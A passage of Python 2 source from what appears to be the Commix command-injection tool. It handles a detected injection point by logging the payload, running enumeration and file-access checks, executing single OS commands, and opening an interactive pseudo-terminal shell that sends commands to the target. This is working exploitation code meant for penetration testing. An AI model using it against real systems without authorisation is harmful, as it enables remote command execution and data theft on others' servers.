            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = "Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1 and new_line:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again= "y"
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise SystemExit()

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
                # if settings.VERBOSITY_LEVEL >= 1:
                #   print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                if go_back == True:
                  break
                if not menu.options.batch:
                  question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  gotshell = sys.stdin.readline().replace("\n","").lower()
                else:
                  gotshell = ""
                if len(gotshell) == 0:
                   gotshell = "y"
                if gotshell in settings.CHOICE_YES:
                  if not menu.options.batch:
                    print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      time.sleep(timesec)
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          # Update logs with executed cmds and execution results.
                          logs.executed_command(filename, cmd, shell)
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  raise SystemExit()
                else:
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              # if settings.VERBOSITY_LEVEL >= 1:
              print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise